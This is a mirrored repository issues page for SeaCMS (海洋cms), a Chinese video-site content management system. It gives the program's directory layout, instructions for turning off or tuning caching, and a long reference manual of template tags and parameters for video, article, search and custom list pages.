Giter VIP home page Giter VIP logo

cms's People

Contributors

boon755 avatar seacms-net avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

cms's Issues

海洋cms系统程序文件目录结构

01.   │─admin //后台管理目录 
02.   │  │─coplugins //已停用目录 
03.   │  │─ebak //帝国备份王数据备份
04.   │  │─editor //编辑器 
05.   │  │─img //后台静态文件 
06.   │  │─js //后台js文件 
07.   │  │─templets //后台模板文件 
08.   │─article  //文章内容页 
09.   │─articlelist //文章列表页 
10.   │─comment //评论 
11.   │  │─api //评论接口文件 
12.   │  │─images //评论静态文件 
13.   │  │─js //评论js文件 
14.   │─data //配置数据及缓存文件 
15.   │  │─admin //后台配置保存 
16.   │  │─cache //缓存 
17.   │  │─mark //水印 
18.   │  │─sessions //sessions文件 
19.   │─detail //视频内容页 
20.   │─include //核心文件 
21.   │  │─crons //定时任务配置 
22.   │  │─data //静态文件 
23.   │  │─inc //扩展文件 
24.   │  │─webscan //360安全监测模块 
25.   │─install //安装模块 
26.   │  │─images //安装模块静态文件
27.   │  │─templates //安装模块模板 
28.   │─js //js文件 
29.   │  │─ads //默认广告目录 
30.   │  │─player //播放器目录 
31.   │─list //视频列表页
32.   │─news //文章首页
33.   │─pic //静态文件 
34.   │  │─faces //表情图像 
35.   │  │─member //会员模块界面 
36.   │  │─slide //旧版Flash幻灯片
37.   │  │─zt //专题静态文件 
38.   │─templets //模板目录 
39.   │─topic //专题内容页 
40.   │─topiclist //专题列表页 
41.   │─uploads //上传文件目录 
42.   │─video //视频播放页 
43.   │─weixin //微信接口目录 
44.   └─index.php //首页文件

怎么关闭缓存|自动更新缓存

什么是海洋cms缓存?

所谓的缓存,就是将程序或系统经常要调用的对象存在内存中,以便其使用时可以快速调用,不必再去创建新的重复的实例。这样做可以减少系统开销,提高系统效率。

海洋cms缓存的作用?

缓存的最根本的目的是为了提高网站性能,减轻频繁访问数据而给数据库带来的压力.再进一步,合理的缓存了某种数据形式,还会减轻程序运算时,对CPU带来的压力.首先,我们要知道一个最基本的效率规则,操作内存中的数据比操作存放在硬盘上的数据是要快N个数量级的.操作简单的文本结构的数据比操作数据库中的数据快N个数量级

海洋cms怎么关闭缓存或是自动更新缓存?

进入海洋cms后台----系统----网站设置----图中所示找到缓存开关一行,关闭缓存按钮。这样我们采集的视频就会实时自动更新了,我们也可以设置----缓存过期时间,默认是20分钟,我们可以设置成最低1分钟,往下还可以设置缓存的类型,数据库缓存等关于缓存设置的选项。

海洋cms 模板标签手册(最新标签以使用手册为准)

海洋cms采用极其简单易用的模板技术,所有标签直接调用接口,无需复杂的编码技术,让你对界面设计得心应手,请认真阅读本文档,妥善收藏。

========= 目录 =========
00.相关必要说明
01.全局标签
02.自定义标签
03.if标签和嵌套if标签subif(支持php语句、多elseif判断)
04.菜单列表标签menulist及smallmenulist
05.文章菜单列表标签newsmenulist及newssmallmenulist
06.视频区域块列表标签arealist
07.文章区域块列表标签newsarealist
08.视频单层循环数据列表标签videolist
09.文章单层循环数据列表标签newslist
10.频道列表页标签channel.html
11.搜索列表页标签search.html
12.级联筛选列表页标签cascade.html
13.自定义页列表标签self_xxxx.html
14.文章列表页标签newspage.html
15.文章搜索页列表newssearch.html
16.专题列表标签topicindex.html
17.专题页标签topic.html
18.内容页播放页共同标签content.html/play.html
19.文章内容页标签news.html
20.级联搜索调用标签(可作用于整个CMS)
21.专题调用标签
22.友情链接列表标签
23.留言板标签gbook.html
24.tags页独有标签tag.html
25.运算符说明(加减乘除、大小比较等等)
26.模板标签里的时间函数data()详细参数说明

========= 内容 =========
00.相关必要说明
(一)海洋cms的模板内的if判断支持一些PHP函数,如果你熟悉一些php编程技术,可以实现一些更加强大和灵活的功能。例如:
例如判断当天是星期几:{if:date('N')==2}周二{else}不是周二{end if}
这里就是使用了php时间函数 date('xxxxxx')的功能,其它参数请百度查阅php相关函数。
(二)评分 评论 顶踩 留言 幻灯片 定时任务等功能依赖系统js文件,模板必须引入以下js文件。

<script>var sitePath='{seacms:sitepath}';</script> <script src="/{seacms:sitepath}js/common.js"></script> <script src="/{seacms:sitepath}js/function.js"></script>

(三)播放器调用必须引入play.js,播放页模板play.html的上面加入:

<script src="/{seacms:sitepath}js/play.js"></script> <script>var playn='{playpage:name}', playp='{playpage:part}';</script>

(四)关于点击数,内容页和播放页如果没有{playpage:hit} 点击数标签,则点击数无法增加
(五)收藏影片标签代码,当开启会员中心并已加载系统js的情况下,收藏代码如下:
收藏 (影片id请对应各个页面的id标签)
(六)关于搜索的要点:
视频搜索对应文件:根目录/search.php,input的name值:searchword,action=search.php
文章搜索对应文件:根目录/so.php,input的name值:searchword,action=so.php
(七)关于自定义页面:自定义页面需要在后台生成才可以访问,用self_开头,用#表示存放的目录,默认根目录。
例如:self_new.html表示根目录下,self_top#new.html表示top文件夹下。
(八)对应的默认模板文件名称:
首页index.html
频道列表页channel.html
搜索列表页search.html
级联筛选列表页cascade.html
自定义页列表self_xxxx.html
文章首页newsindex.html
文章列表页newspage.html
文章搜索页newssearch.html
专题列表topicindex.html
专题页topic.html
内容页content.html
播放页play.html
弹出播放页openplay.html
文章内容页news.html
留言板gbook.html
tags页tag.html
视频地图页map.html
文章地图页newsmap.html
头部页面head.html
底部页面foot.html
用户注册reg.html
用户登录login.html

01.全局标签
解析范围:以下标签无特殊说明的话、均支持所有模板
{seacms:top} 页面头部
{seacms:foot}页面尾部
{seacms:indexlink}首页链接
{seacms:topiclink}专题首页链接
{seacms:newslink} 文章首页链接
{seacms:gbook} 留言链接标签
{seacms:siteurl}网址,形如:www.seacms.net
{seacms:member} 会员登录,注册
{seacms:sitepath}调用seacms的安装路径,安装路径可以在后台设置和修改。
{seacms:adfolder}网站广告文件夹名,广告文件夹位于根目录下的js文件夹中,默认ads
{seacms:sitename}调用seacms的站点名称,如站长设置站点名称为“seacms电影站”,那在模板中调用这个标签即可显示这个名字
{seacms:des} 站点描述
{seacms:copyright}管理员信箱---ICP备案信息--程序版本,支持html标签
{seacms:sitevisitjs}网站统计代码,如某网站的统计JS:<script language="javascript" type="text/javascript" src="http://js.users.51.la/3400570.js"></script>
{seacms:sitenotice}网站关键词
{seacms:allcount} 网站总数据数量
{seacms:daycount} 当天更新数据数量
{seacms:keywords} 搜索关键字(后台设置)
{seacms:hotkeywords len=5}热门搜索关键字,可控制个数,默认为5个(搜索最多的关键字)
{seacms:runinfo}程序运行信息
{seacms:currenttypeid} 当前分类ID(注意:此标签只能在分类页、内容页、播放页有效,表示当前数据所在分类ID,在其他页为-444)
{seacms:letterlist} 首字母排序列表
{seacms:slide width=450 height=233} 幻灯片标签,width及height属性分别控制幻灯片宽度高度
{seacms:showhistory} 我的观看历史 显示/隐藏 功能按钮 必需调{seacms:maxhistory}盒子
{seacms:maxhistory width=960 height=190 num=10 style=pic} 观看历史盒子显示标签 width及height属性分别控制宽度高度,num显示条数,style样式(pic或font) 默认为pic
{seacms:strip}{/seacms:strip} 移除html标签外多余的空格、换行符、制表符,起压缩网页大小作用,使网页打开更快
{seacms:load filename}载入附加模板 filename 是你的模板文件名
例1:
{seacms:load head.html}效果跟{seacms:top}一样,载入附加模板head.html

02.自定义标签
解析范围:支持所有模板
说明:
后台添加自定义标签时候,支持多个随机显示(使用$$$隔开即可),可以用来做随机广告位
例1:
{self:tagname}

03.if标签和嵌套if标签subif(支持php语句、多elseif判断)
注意:使用==表示等于
解析范围:
支持所有模板,支持在所有循环列表标签中使用if标签,在if标签中可以使用嵌套if标签subif标签例1:
{if:[videolist:i]% 2==0}......{subif:[videolist:i]% 3==0}......{end subif}......{end if}
例2:
{if:[videolist:i]% 2==0}......{else}......{end if}
例3:
{if:[videolist:i]% 2==0}......{elseif:[videolist:i]% 3==0}......{elseif:[videolist:i]% 4==0}......{else}......{end if}
*(php7环境下)判断字符为空时,部分情况下需要用引号,否则可能导致500错误。例如:if:"[videolist:state]"==""

04.菜单列表标签menulist及smallmenulist
解析范围:支持所有模板
参数:
type:菜单类型:1,2,3/all/top1,2,3表示分类ID支持单个或多个分类、多个分类用逗号隔开,top表示调出一级菜单,all全部调出分类菜单
注意:
1.此标签支持双层循环嵌套,menulist内嵌smallmenulist,如下例3
2.menulist的type表示分类id(smallmenulist的type表示父级分类的ID)
例1:
{seacms:menulist type=top}
[menulist:i]菜单项排序位
[menulist:typename]菜单项名称
[menulist:typeid]菜单项id
[menulist:upid]父级菜单项id
[menulist:link]菜单项链接
{/seacms:menulist}
例2:
同时调出一级分类和二级分类
{seacms:menulist type=top}[menulist:typename]{/seacms:menulist}
{seacms:menulist type=son}[menulist:typename]{/seacms:menulist}
例3:
循环调出一级分类及二级分类
{seacms:menulist type=top}
[menulist:typename]
{seacms:smallmenulist type=[menulist:typeid]}
[smallmenulist:typename]
{/seacms:smallmenulist}
{/seacms:menulist}
例4:{seacms:menulist type=1,2,3,4}
[menulist:typename]
{/seacms:menulist}

05.文章菜单列表标签newsmenulist及newssmallmenulist
解析范围:支持所有模板
参数:
type:菜单类型:1,2,3/all/top1,2,3表示分类ID支持单个或多个分类、多个分类用逗号隔开,top表示调出一级菜单,all全部调出分类菜单(ulliulli)
注意:
1.此标签支持双层循环嵌套,newsmenulist内嵌smallnewsmenulist,如下例3
2.newsmenulist的type表示分类id(smallnewsmenulist的type表示父级分类的ID)
例1:
{seacms:menulist by=news type=top}
[menulist:i]菜单项排序位
[menulist:typename]菜单项名称
[menulist:typeid]菜单项id
[menulist:upid]父级菜单项id
[menulist:link]菜单项链接
{/seacms:menulist}
例2:
同时调出一级分类和二级分类
{seacms:menulist type=top by=news}[menulist:typename]{/seacms:menulist}
{seacms:menulist type=son by=news}[menulist:typename]{/seacms:menulist}
例3:
循环调出一级分类及二级分类
{seacms:menulist type=top by=news}
[menulist:typename]
{seacms:smallmenulist by=news type=[menulist:typeid]}
[smallmenulist :typename]
{/seacms:smallmenulist}
{/seacms:menulist}
例4:{seacms:menulist by=news type=1,2,3,4}
[menulist:typename]
{/seacms:menulist}

06.视频区域块列表标签arealist
解析范围:所有模板
参数:
areatype:区域块列表分别调用的数据分类值为1,2,3/all支持单个或多个,多个分类逗号隔开;all调出全部一级分类的区域列表块
例:
{seacms:arealist areatype=1,2,6}或者{seacms:arealist letter=a,b,c,d}
[arealist:i]区域块排序位
[arealist:typename]区域块中类型的名称
[arealist:count]区域块数据数量
[arealist:link]区域块分类链接
{seacms:videolist num=5 order=time type=areatype time=all tart=1}
或者{seacms:videolist num=5 order=time letter=[arealist:typename]time=all start=1}
-------内部内部标签参考videolist标签用法------
{/seacms:videolist}
{/seacms:arealist}

07.文章区域块列表标签newsarealist
解析范围:所有模板
参数:
areatype:区域块列表分别调用的数据分类值为1,2,3/all支持单个或多个,多个分类逗号隔开;all调出全部一级分类的区域列表块
例:
{seacms:newsarealist areatype=all}
[arealist:i]区域块排序位
[arealist:typename]区域块中类型的名称
[arealist:count]区域块数据数量
[arealist:link]区域块分类链接
{seacms:newslist num=40 order=time type=areatype}
-------内部内部标签参考newslist标签用法------
{/seacms:newslist}
{/seacms:newsarealist}

08.视频单层循环数据列表标签videolist
解析范围:所有模板
参数:
num:数据条数缺省值为10
state:连载影片调用条件 l表示连载,w为非连载,缺省值为全部
ver:视频版本,例如:ver=预告片
sid:按视频id调用视频,支持多个id,用英文逗号分开,如 sid=1,2,3,5,8
zt: 按专题id调用视频,仅支持一个id,如 zt=3
commend:推荐星级 1,2,3,4,5/all 可以调用单个、多个或全部星级缺省值为非推荐
order:数据排序方式,id/idasc,按发布时间,time/timeasc,按年代year/yearasc,按评分次数scorenum/scorenumasc,按点击量hit/hitasc,dayhit日点击排序 weekhit周点击排序 monthhit月点击排序,按推荐commend/commendasc,按顶次数digg/diggasc,按随机random(慎用,可能造成卡顿),按评分score/douban/mtime/imdb,默认time。(其中带asc的为正序,不带asc的为倒序)
type:数据所在分类,可调出一个或多个分类数据,如 1,2,3/all缺省值为全部,在频道页值为current
time:数据发布时间,当天day 当周week 当月month 缺省值为无
start:数据列表调用的起点位置,缺省值为1
letter:数据名称的首字母,如letter=a
lang: 数据的语言
area:数据的地区
year:数据上映年份
jq:按剧情分类,如jq=爱情
reweek:按更新周期
tvs:按上映电视台
company:按制作公司
rel:相关资源调用,rel=v(仅在新闻内容页页有效,当新闻关键词等于视频名称时生效),rel=d为同导演影片,rel=y同演员,rel=r像似名称影片(利用该标签可以很方便的实现剧情、演员表、相关文章等功能,当文章的关键词等于视频标题时,相关文章即可调用成功)
{seacms:videolist num=15 order=time type=all commend=1,2,3 start=5 letter=a lang=英语 area=美国 year=2014}
[videolist:i]数据排列位
[videolist:n]排列位,不受start影响,永远都是从1开始数
[videolist:id]数据实际id
[videolist:typeid]数据所在分类实际id
[videolist:typename]数据分类中文名
[videolist:typelink]数据分类链接
[videolist:name len=3]数据名称:可控制长度 缺省为不控制
[videolist:note len=10]影片备注信息,可配合标题一起显示,可控制长度 缺省为不控制
[videolist:link]数据内容页链接
[videolist:playlink]数据播放页链接
[videolist:pic]图片
[videolist:spic]幻灯图片
[videolist:gpic]背景图片
[videolist:money]所需积分数
[videolist:actor len=3]主演:可控制长度,缺省为不控制
[videolist:nolinkactor]无链接主演:可控制长度,缺省为不控制
[videolist:hit]点击量
[videolist:dayhit]当日点击数
[videolist:weekhit]本周点击数
[videolist:monthhit]本月点击数
[videolist:nickname]影片别名
[videolist:reweek]更新周期
[videolist:vodlen]影片时长
[videolist:vodtotal]影片总集数
[videolist:douban]豆瓣评分
[videolist:mtime]时光网评分
[videolist:imdb]IMDB评分
[videolist:tvs]上映电视台
[videolist:company]发行公司
[videolist:des len=30]描述:可控制长度 缺省为字符长度50
[videolist:time style=yyyy-mm-dd]时间:可控制时间格式yyyy-mm-ddyy-mm-dd mm-dd 缺省为m-d 注:可选万能时间标签,详情查询php的date()函数或者gmdate() 函数
例如实现当日更新影片的时间显示为红色<font{if:"[videolist:time style=yyyy-mm-dd]"==date('Y-m-d')} color="red"{end if} >[videolist:time style=mm-dd]
[videolist:from]数据来源 如优酷、土豆
[videolist:commend]数据推荐状态值
[videolist:state]数据连载状态
[videolist:publishtime]数据发行年份
[videolist:ver]视频版本
[videolist:publisharea]数据发行地区
[videolist:playlink]数据播放页链接
[videolist:letter]数据名称的首字母
[videolist:director]导演
[videolist:lang]语言
[videolist:colorname len=3]数据彩色名称:可控制长度 缺省为不控制
[videolist:digg]顶次次数
[videolist:tread]踩次次数
[videolist:keyword]设置的SEO关键字、支持超级链接模式,可以作为数据的TAG
[videolist:score]评分
[videolist:scorenum]评分总数
[videolist:scorenumer]评分总次数
[videolist:jqtype]剧情分类名称带链接
[videolist:nolinkjqtype]剧情分类名称不带链接
{/seacms:videolist}

09.文章单层循环数据列表标签newslist
解析范围: 所有模板
参数:
num:数据条数缺省值为10
commend:推荐星级 1,2,3,4,5/all 可以调用单个、多个或全部星级缺省值为非推荐
order:数据排序方式id,按发布时间time,按点击量hit,按推荐commend,按顶次数digg,按随即random(慎用,可能造成卡顿),按当天点击量dayhit,按周点击量weekhit,按月点击量monthhit,总得分score 默认time
type:数据所在分类,可调出一个或多个分类数据,如 1,2,3/all缺省值为全部,在频道页值为current
time:数据发布时间,当天day 当周week 当月month 缺省值为无
start:数据列表调用的起点位置,缺省值为1
letter:数据名称的首字母,如letter=a
id:文章ID 35,6,7,58/all 默认为all
rel:rel=v相关视频,rel=n相关文章(利用该标签可以很方便的实现剧情、演员表、相关文章等功能,当视频的标题等于文章的关键词时,相关视频即可调用成功,当文章的关键词相同时,相关文章调用成功)
{seacms:newslist num=15 order=time type=all time=day start=5 letter=a id=35,6,7,58 }
[newslist:i]文章排列位
[newslist:n]文章排列位,永远都是从1开始
[newslist:id]文章实际id
[newslist:typename]分类中文名
[newslist:typelink]分类链接
[newslist:title len=10]文章标题 具有len属性控制长度,缺省为10
[newslist:colortitle len=3]文章标题:可控制长度 缺省为不控制
[newslist:note]文章属性,可配合标题一起显示
[newslist:newslink]文章内容页链接
[newslist:pic]图片
[newslist:author len=3]作者:可控制长度,缺省为不控制
[newslist:outline len=10]文章简述,可控制长度 缺省为不控制
[newslist:content]文章正文,文章标题 具有len属性控制长度,缺省为不控制
[newslist:hit]点击量
[newslist:time]文章添加时间,可控制时间格式yyyy-mm-dd yyyy-m-d yy-mm-dd mm-dd 缺省为mm-dd
[newslist:from]文章来源
[newslist:commend]文章推荐状态值
[newslist:letter]文章的首字母
[newslist:digg]顶次次数
[newslist:tread]踩次次数
[newslist:score]评分
[newslist:scorenum]评分总数
[newslist:scorenumer]评分总人数
{/seacms:newslist}

10.频道列表页标签channel.html
参数:
size:每页数据条数 缺省值为12
order:数据排序方式,id/idasc,按发布时间,time/timeasc,按点击量hit/hitasc,按推荐commend/commendasc,按顶次数digg/diggasc,按随机random,默认time。(其中带asc的为正序,不带asc的为倒序)
{seacms:channellist size=10 order=time}
[channellist:i]数据排列位
[channellist:id]数据实际id
[channellist:typeid]数据所在分类实际id
[channellist:typename]数据分类中文名
[channellist:typelink]数据分类链接
[channellist:name len=3]数据名称:可控制长度 缺省为不控制
[channellist:colorname len=3]数据彩色名称:可控制长度 缺省为不控制
[channellist:note len=10]影片备注信息,可配合标题一起显示,可控制长度 缺省为不控制
[channellist:link]数据内容页链接
[channellist:pic]图片
[channellist:spic]幻灯图片
[channellist:gpic]背景图片
[channellist:money]所需积分数
[channellist:actor len=3]主演:可控制长度 缺省为不控制
[channellist:nolinkactor]主演:无链接格式
[channellist:hit]点击量
[channellist:dayhit]当日点击数
[channellist:weekhit]本周点击数
[channellist:monthhit]本月点击数
[channellist:nickname]影片别名
[channellist:reweek]更新周期
[channellist:vodlen]影片时长
[channellist:vodtotal]影片总集数
[channellist:douban]豆瓣评分
[channellist:mtime]时光网评分
[channellist:imdb]IMDB评分
[channellist:tvs]上映电视台
[channellist:company]发行公司
[channellist:des len=30]描述:可控制长度缺省为50
[channellist:time style=yyyy-mm-dd]时间:可控制时间格式yyyy-mm-ddyy-mm-dd mm-dd 缺省为yyyy-m-d注:可选万能时间标签,详情查询php的date()函数或者gmdate() 函数
[channellist:from]数据来源 如优酷、土豆
[channellist:state]数据连载状态值
[channellist:commend]数据推荐状态值
[channellist:publishtime]数据发行年份
[channellist:ver]视频版本
[channellist:publisharea]数据发行地区
[channellist:playlink]数据播放页链接
[channellist:director]导演
[channellist:lang]语言
[channellist:digg]顶次次数
[channellist:tread]踩次次数
[channellist:keyword]设置的SEO关键字、支持超级链接模式,可以作为数据的TAG
[channellist:score]评分
[channellist:scorenum]评分总数
[channellist:scorenumer]评分总人数
[channellist:jqtype]剧情分类名称带链接
[channellist:nolinkjqtype]剧情分类名称不带链接
{/seacms:channellist}
固定分页标签:
[channellist:pagenumber len=10]
自定义分页标签:
{channellist:pagenumber len=10}
[pagenumber:link]1.....10页链接
[pagenumber:page]页数字
{/channellist:pagenumber}
{channellist:page}当前页数
{channellist:pagecount}总页数
{channellist:recordcount} 总数据条数
{channellist:firstlink}第一页链接
{channellist:backlink}上一页链接
{channellist:nextlink}下一页链接
{channellist:lastlink}最后一页链接
自定义分页范例:

{channellist:page}/{channellist:pagecount} 共{channellist:recordcount}条记录 1..< {channellist:pagenumber len=8} {if:{channellist:page}<>[pagenumber:page]} [pagenumber:page] {else} [pagenumber:page] {end if} {/channellist:pagenumber} > ..{channellist:pagecount}
独有标签: {channelpage:typeid} 当前分类id {channelpage:typename} 当前分类中文名称 {channelpage:typetext} 频道页当前位置 {channelpage:title} 频道列表页seo标题 {channelpage:keywords} 频道模板MATH关键词 {channelpage:description} 频道模板MATH描述 {channelpage:order-xxx-link} 分类页排序方式链接标签,xxx可以为以下字段:id/idasc按照id排序,time/timeasc按时间排序 hit/hitasc按点击排序 commend/commendasc 按推荐星级排序 score/scoreasc按评分排序。(其中带asc的为正序,不带asc的为倒序)

11.搜索列表页标签search.html
参数:
size:每页数据条数 缺省值为12
order:数据排序方式,id/idasc,按发布时间,time/timeasc,按点击量hit/hitasc,按推荐commend/commendasc,按顶次数digg/diggasc,按随机random,默认time。(其中带asc的为正序,不带asc的为倒序)
{seacms:searchlist size=5 order=time}
[searchlist:i]数据排列位
[searchlist:id]数据实际id
[searchlist:typeid]数据所在分类实际id
[searchlist:typename]数据分类中文名
[searchlist:typelink]数据分类链接
[searchlist:name len=3]数据名称:可控制长度 缺省为不控制
[searchlist:note len=10]影片备注信息,可配合标题一起显示,可控制长度 缺省为不控制
[searchlist:link]数据内容页链接
[searchlist:pic]图片
[searchlist:spic]幻灯图片
[searchlist:gpic]背景图片
[searchlist:money]所需积分数
[searchlist:actor len=3]主演:可控制长度 缺省为不控制
[searchlist:hit]点击量
[searchlist:dayhit]当日点击数
[searchlist:weekhit]本周点击数
[searchlist:monthhit]本月点击数[searchlist:score]评分
[searchlist:scorenum]评分总数
[searchlist:scorenumer]评分总人数
[searchlist:nickname]影片别名
[searchlist:reweek]更新周期
[searchlist:vodlen]影片时长
[searchlist:vodtotal]影片总集数
[searchlist:douban]豆瓣评分
[searchlist:mtime]时光网评分
[searchlist:imdb]IMDB评分
[searchlist:tvs]上映电视台
[searchlist:company]发行公司
[searchlist:des len=30]描述:可控制长度缺省为50
[color=red[searchlist:time style=yyyy-mm-dd]时间:可控制时间格式yyyy-mm-ddyy-mm-dd mm-dd 缺省为yyyy-m-d注:可选万能时间标签,详情查询php的date()函数或者gmdate() 函数
[searchlist:from]数据来源 如优酷、土豆
[searchlist:state]数据连载状态值
[searchlist:commend]数据推荐状态值
[searchlist:publishtime]数据发行年份
[searchlist:ver]视频版本
[searchlist:publisharea]数据发行地区
[searchlist:playlink]数据播放页链接
[searchlist:colorname len=3]数据彩色名称:可控制长度 缺省为不控制
[searchlist:director]导演
[searchlist:lang]语言
[searchlist:digg]顶次次数
[searchlist:tread]踩次次数
[searchlist:keyword]设置的SEO关键字、支持超级链接模式,可以作为数据的TAG
[searchlist:jqtype]剧情分类名称带链接
[searchlist:nolinkjqtype]剧情分类名称不带链接
{/seacms:searchlist}
固定分页标签:
[searchlist:pagenumber len=10]
自定义分页标签:
{searchlist:pagenumber len=10}
[pagenumber:link]1.....10页链接
[pagenumber:page]页数字
{/searchlist:pagenumber}
{seacms:searchword}搜索关键字名称
{seacms:searchnum}搜索结果的数目
{searchlist:page}当前页数
{searchlist:pagecount}总页数
{searchlist:recordcount} 总数据条数
{searchlist:firstlink}第一页链接
{searchlist:backlink}上一页链接
{searchlist:nextlink}下一页链接
{searchlist:lastlink}最后一页链接
自定义分页范例:

{searchlist:page}/{searchlist:pagecount} 共{searchlist:recordcount}条记录 1..< {searchlist:pagenumber len=8} {if:{searchlist:page}<>[pagenumber:page]} [pagenumber:page] {else} [pagenumber:page] {end if} {/searchlist:pagenumber} > ..{searchlist:pagecount}
独有标签: {seacms:searchword} 搜索关键字名称 {seacms:searchnum} 搜索结果的数目 {searchpage:ordername}搜索索引页当前排序方式标签 {searchpage:order-xxx-link} 搜素页排序方式链接标签,xxx可以为以下字段:id/idasc按照id排序,time/timeasc按时间排序 hit/hitasc按点击排序 commend/commendasc 按推荐星级排序 score/scoreasc按评分排序。(其中带asc的为正序,不带asc的为倒序)

12.级联筛选列表页标签cascade.html
参数:
size:每页数据条数 缺省值为12
order:数据排序方式,id/idasc,按发布时间,time/timeasc,按点击量hit/hitasc,按推荐commend/commendasc,按顶次数digg/diggasc,按随机random,默认time。(其中带asc的为正序,不带asc的为倒序)
{seacms:cascadelist size=5 order=time}
[cascadelist:i]数据排列位
[cascadelist:id]数据实际id
[cascadelist:typeid]数据所在分类实际id
[cascadelist:typename]数据分类中文名
[cascadelist:typelink]数据分类链接
[cascadelist:name len=3]数据名称:可控制长度 缺省为不控制
[cascadelist:note len=10]影片备注信息,可配合标题一起显示,可控制长度 缺省为不控制
[cascadelist:link]数据内容页链接
[cascadelist:pic]图片
[cascadelist:spic]幻灯图片
[cascadelist:gpic]背景图片
[cascadelist:money]所需积分数
[cascadelist:actor len=3]主演:可控制长度 缺省为不控制
[cascadelist:hit]点击量
[cascadelist:dayhit]当日点击数
[cascadelist:weekhit]本周点击数
[cascadelist:monthhit]本月点击数
[cascadelist:score]评分
[cascadelist:scorenum]评分总数
[cascadelist:scorenumer]评分总人数
[cascadelist:nickname]影片别名
[cascadelist:reweek]更新周期
[cascadelist:vodlen]影片时长
[cascadelist:vodtotal]影片总集数
[cascadelist:douban]豆瓣评分
[cascadelist:mtime]时光网评分
[cascadelist:imdb]IMDB评分
[cascadelist:tvs]上映电视台
[cascadelist:company]发行公司
[cascadelist:des len=30]描述:可控制长度缺省为50
[color=red[cascadelist:time style=yyyy-mm-dd]时间:可控制时间格式yyyy-mm-ddyy-mm-dd mm-dd 缺省为yyyy-m-d注:可选万能时间标签,详情查询php的date()函数或者gmdate() 函数
[cascadelist:from]数据来源 如优酷、土豆
[cascadelist:state]数据连载状态值
[cascadelist:commend]数据推荐状态值
[cascadelist:publishtime]数据发行年份
[cascadelist:ver]视频版本
[cascadelist:publisharea]数据发行地区
[cascadelist:playlink]数据播放页链接
[cascadelist:colorname len=3]数据彩色名称:可控制长度 缺省为不控制
[cascadelist:director]导演
[cascadelist:lang]语言
[cascadelist:digg]顶次次数
[cascadelist:tread]踩次次数
[cascadelist:keyword]设置的SEO关键字、支持超级链接模式,可以作为数据的TAG[cascadelist:jqtype]剧情分类名称带链接
[cascadelist:nolinkjqtype]剧情分类名称不带链接
{/seacms:cascadelist}
固定分页标签:
[cascadelist:pagenumber len=10]
自定义分页标签:
{cascadelist:pagenumber len=10}
[pagenumber:link]1.....10页链接
[pagenumber:page]页数字
{/cascadelist:pagenumber}
{seacms:searchword}搜索关键字名称
{seacms:searchnum}搜索结果的数目
{cascadelist:page}当前页数
{cascadelist:pagecount}总页数
{cascadelist:recordcount} 总数据条数
{cascadelist:firstlink}第一页链接
{cascadelist:backlink}上一页链接
{cascadelist:nextlink}下一页链接
{cascadelist:lastlink}最后一页链接
自定义分页范例:

{cascadelist:page}/{cascadelist:pagecount} 共{cascadelist:recordcount}条记录 1..< {cascadelist:pagenumber len=8} {if:{cascadelist:page}<>[pagenumber:page]} [pagenumber:page] {else} [pagenumber:page] {end if} {/cascadelist:pagenumber} > ..{cascadelist:pagecount}
独有标签: {seacms:searchnum}:搜索结果的数目 {searchpage:letter}:高级搜索当前选中的首字母 {searchpage:year}:高级搜索当前选中的年份 {searchpage:money}:高级搜索当前选中的收费情况 {searchpage:area}:高级搜索当前选中的地区 {searchpage:lang}:高级搜索当前选中的语言 {searchpage:type}:高级搜索当前选中的分类ID {searchpage:typename}:高级搜索当前选中的分类名 {searchpage:state}:高级搜索当前选中的连载状态 {searchpage:ver}:高级搜索当前选择的视频版本 {searchpage:jq}:高级搜索当前选择的剧情分类 {searchpage:ordername}搜索索引页当前排序方式标签 {searchpage:ordername}搜索索引页当前排序方式标签 {searchpage:order-xxx-link}分类页排序方式链接标签,xxx可以为以下字段:id/idasc按照id排序,time/timeasc按时间排序 hit/hitasc按点击排序 commend/commendasc 按推荐星级排序 score/scoreasc按评分排序。(其中带asc的为正序,不带asc的为倒序) 独有条件筛选标签:分类条件标签(cascade.html) type可为all,top或者其他分类id,多个id请用','隔开 {seacms:typeitemlist type=all} [typeitemlist:tid] [typeitemlist:link] [typeitemlist:value] {/seacms:typeitemlist} 地区条件标签(cascade.html): {seacms:areaitemlist} [areaitemlist:link] [areaitemlist:value] {/seacms:areaitemlist} 年份条件标签(cascade.html): {seacms:yearitemlist} [yearitemlist:link] [yearitemlist:value] {/seacms:yearitemlist} 首字母条件标签(cascade.html): {seacms:letteritemlist} [letteritemlist:link] [letteritemlist:value] {/seacms:letteritemlist} 语言条件标签(cascade.html): {seacms:langitemlist} [langitemlist:link] [langitemlist:value] {/seacms:langitemlist} 收费条件标签(cascade.html): {seacms:moneyitemlist} [moneyitemlist:link] [moneyitemlist:value] {/seacms:moneyitemlist} 剧情分类条件标签(cascade.html): {seacms:jqitemlist} [jqitemlist:link] [jqitemlist:value] {/seacms:jqitemlist} 连载状态条件标签(cascade.html): {seacms:stateitemlist} [stateitemlist:link] [stateitemlist:value] {/seacms:stateitemlist} 视频版本条件标签(cascade.html): {seacms:veritemlist} [veritemlist:link] [veritemlist:value] {/seacms:veritemlist}

13.自定义页列表标签self_xxxx.html
解析范围:自定义模板
参数:
size:每页显示数据条数 缺省为10
maxpage:最多生产页数,不填写为只生成1页
order:数据排序方式,id/idasc,按发布时间,time/timeasc,按点击量hit/hitasc,dayhit日点击排序 weekhit周点击排序 monthhit月点击排序,按推荐
commend/commendasc,按顶次数digg/diggasc,按随机random,按评分score/douban/mtime/imdb,默认time。(其中带asc的为正序,
不带asc的为倒序)
type:数据所在分类,可调出一个或多个分类数据,如 1,2,3/all缺省值为全部,必须是最终分
类,不要填写无内容的父分类
letter:数据名称的首字母,如letter=a
lang: 数据的语言
area:数据的地区
year:数据上映年份
jq:数据的剧情分类值
{seacms:customvideolist size=5 maxpage=10 order=time letter=a area=美国 jq=动作}
